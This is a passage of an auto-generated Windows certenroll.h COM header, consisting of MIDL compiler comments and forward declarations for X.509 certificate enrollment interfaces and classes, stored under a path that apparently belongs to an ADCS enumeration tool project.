    "path": "AD-BOF/ADCS-BOF/src/enum/certenroll.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 7.00.0555 */\n/* Compiler settings for certenroll.idl:\n    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 7.00.0555 \n    protocol : dce , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#pragma warning( disable: 4049 )  /* more than 64k source lines */\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include <rpc.h>\n#include <rpcndr.h>\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif // __RPCNDR_H_VERSION__\n\n#ifndef COM_NO_WINDOWS_H\n#include <windows.h>\n#include <ole2.h>\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __certenroll_h__\n#define __certenroll_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __IObjectId_FWD_DEFINED__\n#define __IObjectId_FWD_DEFINED__\ntypedef interface IObjectId IObjectId;\n#endif \t/* __IObjectId_FWD_DEFINED__ */\n\n\n#ifndef __IObjectIds_FWD_DEFINED__\n#define __IObjectIds_FWD_DEFINED__\ntypedef interface IObjectIds IObjectIds;\n#endif \t/* __IObjectIds_FWD_DEFINED__ */\n\n\n#ifndef __IBinaryConverter_FWD_DEFINED__\n#define __IBinaryConverter_FWD_DEFINED__\ntypedef interface IBinaryConverter IBinaryConverter;\n#endif \t/* __IBinaryConverter_FWD_DEFINED__ */\n\n\n#ifndef __IX500DistinguishedName_FWD_DEFINED__\n#define __IX500DistinguishedName_FWD_DEFINED__\ntypedef interface IX500DistinguishedName IX500DistinguishedName;\n#endif \t/* __IX500DistinguishedName_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentStatus_FWD_DEFINED__\n#define __IX509EnrollmentStatus_FWD_DEFINED__\ntypedef interface IX509EnrollmentStatus IX509EnrollmentStatus;\n#endif \t/* __IX509EnrollmentStatus_FWD_DEFINED__ */\n\n\n#ifndef __ICspAlgorithm_FWD_DEFINED__\n#define __ICspAlgorithm_FWD_DEFINED__\ntypedef interface ICspAlgorithm ICspAlgorithm;\n#endif \t/* __ICspAlgorithm_FWD_DEFINED__ */\n\n\n#ifndef __ICspAlgorithms_FWD_DEFINED__\n#define __ICspAlgorithms_FWD_DEFINED__\ntypedef interface ICspAlgorithms ICspAlgorithms;\n#endif \t/* __ICspAlgorithms_FWD_DEFINED__ */\n\n\n#ifndef __ICspInformation_FWD_DEFINED__\n#define __ICspInformation_FWD_DEFINED__\ntypedef interface ICspInformation ICspInformation;\n#endif \t/* __ICspInformation_FWD_DEFINED__ */\n\n\n#ifndef __ICspInformations_FWD_DEFINED__\n#define __ICspInformations_FWD_DEFINED__\ntypedef interface ICspInformations ICspInformations;\n#endif \t/* __ICspInformations_FWD_DEFINED__ */\n\n\n#ifndef __ICspStatus_FWD_DEFINED__\n#define __ICspStatus_FWD_DEFINED__\ntypedef interface ICspStatus ICspStatus;\n#endif \t/* __ICspStatus_FWD_DEFINED__ */\n\n\n#ifndef __ICspStatuses_FWD_DEFINED__\n#define __ICspStatuses_FWD_DEFINED__\ntypedef interface ICspStatuses ICspStatuses;\n#endif \t/* __ICspStatuses_FWD_DEFINED__ */\n\n\n#ifndef __IX509PublicKey_FWD_DEFINED__\n#define __IX509PublicKey_FWD_DEFINED__\ntypedef interface IX509PublicKey IX509PublicKey;\n#endif \t/* __IX509PublicKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509PrivateKey_FWD_DEFINED__\n#define __IX509PrivateKey_FWD_DEFINED__\ntypedef interface IX509PrivateKey IX509PrivateKey;\n#endif \t/* __IX509PrivateKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509Extension_FWD_DEFINED__\n#define __IX509Extension_FWD_DEFINED__\ntypedef interface IX509Extension IX509Extension;\n#endif \t/* __IX509Extension_FWD_DEFINED__ */\n\n\n#ifndef __IX509Extensions_FWD_DEFINED__\n#define __IX509Extensions_FWD_DEFINED__\ntypedef interface IX509Extensions IX509Extensions;\n#endif \t/* __IX509Extensions_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionKeyUsage_FWD_DEFINED__\n#define __IX509ExtensionKeyUsage_FWD_DEFINED__\ntypedef interface IX509ExtensionKeyUsage IX509ExtensionKeyUsage;\n#endif \t/* __IX509ExtensionKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n#define __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\ntypedef interface IX509ExtensionEnhancedKeyUsage IX509ExtensionEnhancedKeyUsage;\n#endif \t/* __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplateName_FWD_DEFINED__\n#define __IX509ExtensionTemplateName_FWD_DEFINED__\ntypedef interface IX509ExtensionTemplateName IX509ExtensionTemplateName;\n#endif \t/* __IX509ExtensionTemplateName_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplate_FWD_DEFINED__\n#define __IX509ExtensionTemplate_FWD_DEFINED__\ntypedef interface IX509ExtensionTemplate IX509ExtensionTemplate;\n#endif \t/* __IX509ExtensionTemplate_FWD_DEFINED__ */\n\n\n#ifndef __IAlternativeName_FWD_DEFINED__\n#define __IAlternativeName_FWD_DEFINED__\ntypedef interface IAlternativeName IAlternativeName;\n#endif \t/* __IAlternativeName_FWD_DEFINED__ */\n\n\n#ifndef __IAlternativeNames_FWD_DEFINED__\n#define __IAlternativeNames_FWD_DEFINED__\ntypedef interface IAlternativeNames IAlternativeNames;\n#endif \t/* __IAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAlternativeNames_FWD_DEFINED__\n#define __IX509ExtensionAlternativeNames_FWD_DEFINED__\ntypedef interface IX509ExtensionAlternativeNames IX509ExtensionAlternativeNames;\n#endif \t/* __IX509ExtensionAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionBasicConstraints_FWD_DEFINED__\n#define __IX509ExtensionBasicConstraints_FWD_DEFINED__\ntypedef interface IX509ExtensionBasicConstraints IX509ExtensionBasicConstraints;\n#endif \t/* __IX509ExtensionBasicConstraints_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n#define __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\ntypedef interface IX509ExtensionSubjectKeyIdentifier IX509ExtensionSubjectKeyIdentifier;\n#endif \t/* __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n#define __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\ntypedef interface IX509ExtensionAuthorityKeyIdentifier IX509ExtensionAuthorityKeyIdentifier;\n#endif \t/* __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __ISmimeCapability_FWD_DEFINED__\n#define __ISmimeCapability_FWD_DEFINED__\ntypedef interface ISmimeCapability ISmimeCapability;\n#endif \t/* __ISmimeCapability_FWD_DEFINED__ */\n\n\n#ifndef __ISmimeCapabilities_FWD_DEFINED__\n#define __ISmimeCapabilities_FWD_DEFINED__\ntypedef interface ISmimeCapabilities ISmimeCapabilities;\n#endif \t/* __ISmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSmimeCapabilities_FWD_DEFINED__\n#define __IX509ExtensionSmimeCapabilities_FWD_DEFINED__\ntypedef interface IX509ExtensionSmimeCapabilities IX509ExtensionSmimeCapabilities;\n#endif \t/* __IX509ExtensionSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __IPolicyQualifier_FWD_DEFINED__\n#define __IPolicyQualifier_FWD_DEFINED__\ntypedef interface IPolicyQualifier IPolicyQualifier;\n#endif \t/* __IPolicyQualifier_FWD_DEFINED__ */\n\n\n#ifndef __IPolicyQualifiers_FWD_DEFINED__\n#define __IPolicyQualifiers_FWD_DEFINED__\ntypedef interface IPolicyQualifiers IPolicyQualifiers;\n#endif \t/* __IPolicyQualifiers_FWD_DEFINED__ */\n\n\n#ifndef __ICertificatePolicy_FWD_DEFINED__\n#define __ICertificatePolicy_FWD_DEFINED__\ntypedef interface ICertificatePolicy ICertificatePolicy;\n#endif \t/* __ICertificatePolicy_FWD_DEFINED__ */\n\n\n#ifndef __ICertificatePolicies_FWD_DEFINED__\n#define __ICertificatePolicies_FWD_DEFINED__\ntypedef interface ICertificatePolicies ICertificatePolicies;\n#endif \t/* __ICertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionCertificatePolicies_FWD_DEFINED__\n#define __IX509ExtensionCertificatePolicies_FWD_DEFINED__\ntypedef interface IX509ExtensionCertificatePolicies IX509ExtensionCertificatePolicies;\n#endif \t/* __IX509ExtensionCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n#define __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__\ntypedef interface IX509ExtensionMSApplicationPolicies IX509ExtensionMSApplicationPolicies;\n#endif \t/* __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509Attribute_FWD_DEFINED__\n#define __IX509Attribute_FWD_DEFINED__\ntypedef interface IX509Attribute IX509Attribute;\n#endif \t/* __IX509Attribute_FWD_DEFINED__ */\n\n\n#ifndef __IX509Attributes_FWD_DEFINED__\n#define __IX509Attributes_FWD_DEFINED__\ntypedef interface IX509Attributes IX509Attributes;\n#endif \t/* __IX509Attributes_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeExtensions_FWD_DEFINED__\n#define __IX509AttributeExtensions_FWD_DEFINED__\ntypedef interface IX509AttributeExtensions IX509AttributeExtensions;\n#endif \t/* __IX509AttributeExtensions_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeClientId_FWD_DEFINED__\n#define __IX509AttributeClientId_FWD_DEFINED__\ntypedef interface IX509AttributeClientId IX509AttributeClientId;\n#endif \t/* __IX509AttributeClientId_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeRenewalCertificate_FWD_DEFINED__\n#define __IX509AttributeRenewalCertificate_FWD_DEFINED__\ntypedef interface IX509AttributeRenewalCertificate IX509AttributeRenewalCertificate;\n#endif \t/* __IX509AttributeRenewalCertificate_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKey_FWD_DEFINED__\n#define __IX509AttributeArchiveKey_FWD_DEFINED__\ntypedef interface IX509AttributeArchiveKey IX509AttributeArchiveKey;\n#endif \t/* __IX509AttributeArchiveKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKeyHash_FWD_DEFINED__\n#define __IX509AttributeArchiveKeyHash_FWD_DEFINED__\ntypedef interface IX509AttributeArchiveKeyHash IX509AttributeArchiveKeyHash;\n#endif \t/* __IX509AttributeArchiveKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeOSVersion_FWD_DEFINED__\n#define __IX509AttributeOSVersion_FWD_DEFINED__\ntypedef interface IX509AttributeOSVersion IX509AttributeOSVersion;\n#endif \t/* __IX509AttributeOSVersion_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeCspProvider_FWD_DEFINED__\n#define __IX509AttributeCspProvider_FWD_DEFINED__\ntypedef interface IX509AttributeCspProvider IX509AttributeCspProvider;\n#endif \t/* __IX509AttributeCspProvider_FWD_DEFINED__ */\n\n\n#ifndef __ICryptAttribute_FWD_DEFINED__\n#define __ICryptAttribute_FWD_DEFINED__\ntypedef interface ICryptAttribute ICryptAttribute;\n#endif \t/* __ICryptAttribute_FWD_DEFINED__ */\n\n\n#ifndef __ICryptAttributes_FWD_DEFINED__\n#define __ICryptAttributes_FWD_DEFINED__\ntypedef interface ICryptAttributes ICryptAttributes;\n#endif \t/* __ICryptAttributes_FWD_DEFINED__ */\n\n\n#ifndef __ICertProperty_FWD_DEFINED__\n#define __ICertProperty_FWD_DEFINED__\ntypedef interface ICertProperty ICertProperty;\n#endif \t/* __ICertProperty_FWD_DEFINED__ */\n\n\n#ifndef __ICertProperties_FWD_DEFINED__\n#define __ICertProperties_FWD_DEFINED__\ntypedef interface ICertProperties ICertProperties;\n#endif \t/* __ICertProperties_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyFriendlyName_FWD_DEFINED__\n#define __ICertPropertyFriendlyName_FWD_DEFINED__\ntypedef interface ICertPropertyFriendlyName ICertPropertyFriendlyName;\n#endif \t/* __ICertPropertyFriendlyName_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyDescription_FWD_DEFINED__\n#define __ICertPropertyDescription_FWD_DEFINED__\ntypedef interface ICertPropertyDescription ICertPropertyDescription;\n#endif \t/* __ICertPropertyDescription_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyAutoEnroll_FWD_DEFINED__\n#define __ICertPropertyAutoEnroll_FWD_DEFINED__\ntypedef interface ICertPropertyAutoEnroll ICertPropertyAutoEnroll;\n#endif \t/* __ICertPropertyAutoEnroll_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyRequestOriginator_FWD_DEFINED__\n#define __ICertPropertyRequestOriginator_FWD_DEFINED__\ntypedef interface ICertPropertyRequestOriginator ICertPropertyRequestOriginator;\n#endif \t/* __ICertPropertyRequestOriginator_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertySHA1Hash_FWD_DEFINED__\n#define __ICertPropertySHA1Hash_FWD_DEFINED__\ntypedef interface ICertPropertySHA1Hash ICertPropertySHA1Hash;\n#endif \t/* __ICertPropertySHA1Hash_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyKeyProvInfo_FWD_DEFINED__\n#define __ICertPropertyKeyProvInfo_FWD_DEFINED__\ntypedef interface ICertPropertyKeyProvInfo ICertPropertyKeyProvInfo;\n#endif \t/* __ICertPropertyKeyProvInfo_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchived_FWD_DEFINED__\n#define __ICertPropertyArchived_FWD_DEFINED__\ntypedef interface ICertPropertyArchived ICertPropertyArchived;\n#endif \t/* __ICertPropertyArchived_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyBackedUp_FWD_DEFINED__\n#define __ICertPropertyBackedUp_FWD_DEFINED__\ntypedef interface ICertPropertyBackedUp ICertPropertyBackedUp;\n#endif \t/* __ICertPropertyBackedUp_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollment_FWD_DEFINED__\n#define __ICertPropertyEnrollment_FWD_DEFINED__\ntypedef interface ICertPropertyEnrollment ICertPropertyEnrollment;\n#endif \t/* __ICertPropertyEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyRenewal_FWD_DEFINED__\n#define __ICertPropertyRenewal_FWD_DEFINED__\ntypedef interface ICertPropertyRenewal ICertPropertyRenewal;\n#endif \t/* __ICertPropertyRenewal_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchivedKeyHash_FWD_DEFINED__\n#define __ICertPropertyArchivedKeyHash_FWD_DEFINED__\ntypedef interface ICertPropertyArchivedKeyHash ICertPropertyArchivedKeyHash;\n#endif \t/* __ICertPropertyArchivedKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n#define __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__\ntypedef interface ICertPropertyEnrollmentPolicyServer ICertPropertyEnrollmentPolicyServer;\n#endif \t/* __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __IX509SignatureInformation_FWD_DEFINED__\n#define __IX509SignatureInformation_FWD_DEFINED__\ntypedef interface IX509SignatureInformation IX509SignatureInformation;\n#endif \t/* __IX509SignatureInformation_FWD_DEFINED__ */\n\n\n#ifndef __ISignerCertificate_FWD_DEFINED__\n#define __ISignerCertificate_FWD_DEFINED__\ntypedef interface ISignerCertificate ISignerCertificate;\n#endif \t/* __ISignerCertificate_FWD_DEFINED__ */\n\n\n#ifndef __ISignerCertificates_FWD_DEFINED__\n#define __ISignerCertificates_FWD_DEFINED__\ntypedef interface ISignerCertificates ISignerCertificates;\n#endif \t/* __ISignerCertificates_FWD_DEFINED__ */\n\n\n#ifndef __IX509NameValuePair_FWD_DEFINED__\n#define __IX509NameValuePair_FWD_DEFINED__\ntypedef interface IX509NameValuePair IX509NameValuePair;\n#endif \t/* __IX509NameValuePair_FWD_DEFINED__ */\n\n\n#ifndef __IX509NameValuePairs_FWD_DEFINED__\n#define __IX509NameValuePairs_FWD_DEFINED__\ntypedef interface IX509NameValuePairs IX509NameValuePairs;\n#endif \t/* __IX509NameValuePairs_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplate_FWD_DEFINED__\n#define __IX509CertificateTemplate_FWD_DEFINED__\ntypedef interface IX509CertificateTemplate IX509CertificateTemplate;\n#endif \t/* __IX509CertificateTemplate_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplates_FWD_DEFINED__\n#define __IX509CertificateTemplates_FWD_DEFINED__\ntypedef interface IX509CertificateTemplates IX509CertificateTemplates;\n#endif \t/* __IX509CertificateTemplates_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplateWritable_FWD_DEFINED__\n#define __IX509CertificateTemplateWritable_FWD_DEFINED__\ntypedef interface IX509CertificateTemplateWritable IX509CertificateTemplateWritable;\n#endif \t/* __IX509CertificateTemplateWritable_FWD_DEFINED__ */\n\n\n#ifndef __ICertificationAuthority_FWD_DEFINED__\n#define __ICertificationAuthority_FWD_DEFINED__\ntypedef interface ICertificationAuthority ICertificationAuthority;\n#endif \t/* __ICertificationAuthority_FWD_DEFINED__ */\n\n\n#ifndef __ICertificationAuthorities_FWD_DEFINED__\n#define __ICertificationAuthorities_FWD_DEFINED__\ntypedef interface ICertificationAuthorities ICertificationAuthorities;\n#endif \t/* __ICertificationAuthorities_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentPolicyServer_FWD_DEFINED__\n#define __IX509EnrollmentPolicyServer_FWD_DEFINED__\ntypedef interface IX509EnrollmentPolicyServer IX509EnrollmentPolicyServer;\n#endif \t/* __IX509EnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerUrl_FWD_DEFINED__\n#define __IX509PolicyServerUrl_FWD_DEFINED__\ntypedef interface IX509PolicyServerUrl IX509PolicyServerUrl;\n#endif \t/* __IX509PolicyServerUrl_FWD_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerListManager_FWD_DEFINED__\n#define __IX509PolicyServerListManager_FWD_DEFINED__\ntypedef interface IX509PolicyServerListManager IX509PolicyServerListManager;\n#endif \t/* __IX509PolicyServerListManager_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequest_FWD_DEFINED__\n#define __IX509CertificateRequest_FWD_DEFINED__\ntypedef interface IX509CertificateRequest IX509CertificateRequest;\n#endif \t/* __IX509CertificateRequest_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10 IX509CertificateRequestPkcs10;\n#endif \t/* __IX509CertificateRequestPkcs10_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V2_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10V2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10V2 IX509CertificateRequestPkcs10V2;\n#endif \t/* __IX509CertificateRequestPkcs10V2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate_FWD_DEFINED__\n#define __IX509CertificateRequestCertificate_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCertificate IX509CertificateRequestCertificate;\n#endif \t/* __IX509CertificateRequestCertificate_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate2_FWD_DEFINED__\n#define __IX509CertificateRequestCertificate2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCertificate2 IX509CertificateRequestCertificate2;\n#endif \t/* __IX509CertificateRequestCertificate2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs7_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs7 IX509CertificateRequestPkcs7;\n#endif \t/* __IX509CertificateRequestPkcs7_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7V2_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs7V2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs7V2 IX509CertificateRequestPkcs7V2;\n#endif \t/* __IX509CertificateRequestPkcs7V2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc_FWD_DEFINED__\n#define __IX509CertificateRequestCmc_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCmc IX509CertificateRequestCmc;\n#endif \t/* __IX509CertificateRequestCmc_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc2_FWD_DEFINED__\n#define __IX509CertificateRequestCmc2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCmc2 IX509CertificateRequestCmc2;\n#endif \t/* __IX509CertificateRequestCmc2_FWD_DEFINED__ */\n\n\n#ifndef __IX509Enrollment_FWD_DEFINED__\n#define __IX509Enrollment_FWD_DEFINED__\ntypedef interface IX509Enrollment IX509Enrollment;\n#endif \t/* __IX509Enrollment_FWD_DEFINED__ */\n\n\n#ifndef __IX509Enrollment2_FWD_DEFINED__\n#define __IX509Enrollment2_FWD_DEFINED__\ntypedef interface IX509Enrollment2 IX509Enrollment2;\n#endif \t/* __IX509Enrollment2_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentHelper_FWD_DEFINED__\n#define __IX509EnrollmentHelper_FWD_DEFINED__\ntypedef interface IX509EnrollmentHelper IX509EnrollmentHelper;\n#endif \t/* __IX509EnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentWebClassFactory_FWD_DEFINED__\n#define __IX509EnrollmentWebClassFactory_FWD_DEFINED__\ntypedef interface IX509EnrollmentWebClassFactory IX509EnrollmentWebClassFactory;\n#endif \t/* __IX509EnrollmentWebClassFactory_FWD_DEFINED__ */\n\n\n#ifndef __IX509MachineEnrollmentFactory_FWD_DEFINED__\n#define __IX509MachineEnrollmentFactory_FWD_DEFINED__\ntypedef interface IX509MachineEnrollmentFactory IX509MachineEnrollmentFactory;\n#endif \t/* __IX509MachineEnrollmentFactory_FWD_DEFINED__ */\n\n\n#ifndef __CObjectId_FWD_DEFINED__\n#define __CObjectId_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CObjectId CObjectId;\n#else\ntypedef struct CObjectId CObjectId;\n#endif /* __cplusplus */\n\n#endif \t/* __CObjectId_FWD_DEFINED__ */\n\n\n#ifndef __CObjectIds_FWD_DEFINED__\n#define __CObjectIds_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CObjectIds CObjectIds;\n#else\ntypedef struct CObjectIds CObjectIds;\n#endif /* __cplusplus */\n\n#endif \t/* __CObjectIds_FWD_DEFINED__ */\n\n\n#ifndef __CBinaryConverter_FWD_DEFINED__\n#define __CBinaryConverter_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CBinaryConverter CBinaryConverter;\n#else\ntypedef struct CBinaryConverter CBinaryConverter;\n#endif /* __cplusplus */\n\n#endif \t/* __CBinaryConverter_FWD_DEFINED__ */\n\n\n#ifndef __CX500DistinguishedName_FWD_DEFINED__\n#define __CX500DistinguishedName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX500DistinguishedName CX500DistinguishedName;\n#else\ntypedef struct CX500DistinguishedName CX500DistinguishedName;\n#endif /* __cplusplus */\n\n#endif \t/* __CX500DistinguishedName_FWD_DEFINED__ */\n\n\n#ifndef __CCspInformation_FWD_DEFINED__\n#define __CCspInformation_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspInformation CCspInformation;\n#else\ntypedef struct CCspInformation CCspInformation;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspInformation_FWD_DEFINED__ */\n\n\n#ifndef __CCspInformations_FWD_DEFINED__\n#define __CCspInformations_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspInformations CCspInformations;\n#else\ntypedef struct CCspInformations CCspInformations;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspInformations_FWD_DEFINED__ */\n\n\n#ifndef __CCspStatus_FWD_DEFINED__\n#define __CCspStatus_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspStatus CCspStatus;\n#else\ntypedef struct CCspStatus CCspStatus;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspStatus_FWD_DEFINED__ */\n\n\n#ifndef __CX509PublicKey_FWD_DEFINED__\n#define __CX509PublicKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PublicKey CX509PublicKey;\n#else\ntypedef struct CX509PublicKey CX509PublicKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PublicKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509PrivateKey_FWD_DEFINED__\n#define __CX509PrivateKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PrivateKey CX509PrivateKey;\n#else\ntypedef struct CX509PrivateKey CX509PrivateKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PrivateKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509Extension_FWD_DEFINED__\n#define __CX509Extension_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Extension CX509Extension;\n#else\ntypedef struct CX509Extension CX509Extension;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Extension_FWD_DEFINED__ */\n\n\n#ifndef __CX509Extensions_FWD_DEFINED__\n#define __CX509Extensions_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Extensions CX509Extensions;\n#else\ntypedef struct CX509Extensions CX509Extensions;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Extensions_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionKeyUsage_FWD_DEFINED__\n#define __CX509ExtensionKeyUsage_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionKeyUsage CX509ExtensionKeyUsage;\n#else\ntypedef struct CX509ExtensionKeyUsage CX509ExtensionKeyUsage;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n#define __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionEnhancedKeyUsage CX509ExtensionEnhancedKeyUsage;\n#else\ntypedef struct CX509ExtensionEnhancedKeyUsage CX509ExtensionEnhancedKeyUsage;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionTemplateName_FWD_DEFINED__\n#define __CX509ExtensionTemplateName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionTemplateName CX509ExtensionTemplateName;\n#else\ntypedef struct CX509ExtensionTemplateName CX509ExtensionTemplateName;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionTemplateName_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionTemplate_FWD_DEFINED__\n#define __CX509ExtensionTemplate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionTemplate CX509ExtensionTemplate;\n#else\ntypedef struct CX509ExtensionTemplate CX509ExtensionTemplate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionTemplate_FWD_DEFINED__ */\n\n\n#ifndef __CAlternativeName_FWD_DEFINED__\n#define __CAlternativeName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CAlternativeName CAlternativeName;\n#else\ntypedef struct CAlternativeName CAlternativeName;\n#endif /* __cplusplus */\n\n#endif \t/* __CAlternativeName_FWD_DEFINED__ */\n\n\n#ifndef __CAlternativeNames_FWD_DEFINED__\n#define __CAlternativeNames_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CAlternativeNames CAlternativeNames;\n#else\ntypedef struct CAlternativeNames CAlternativeNames;\n#endif /* __cplusplus */\n\n#endif \t/* __CAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionAlternativeNames_FWD_DEFINED__\n#define __CX509ExtensionAlternativeNames_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionAlternativeNames CX509ExtensionAlternativeNames;\n#else\ntypedef struct CX509ExtensionAlternativeNames CX509ExtensionAlternativeNames;\n#endif /* __cplusplus */\n\n#endif \t/* 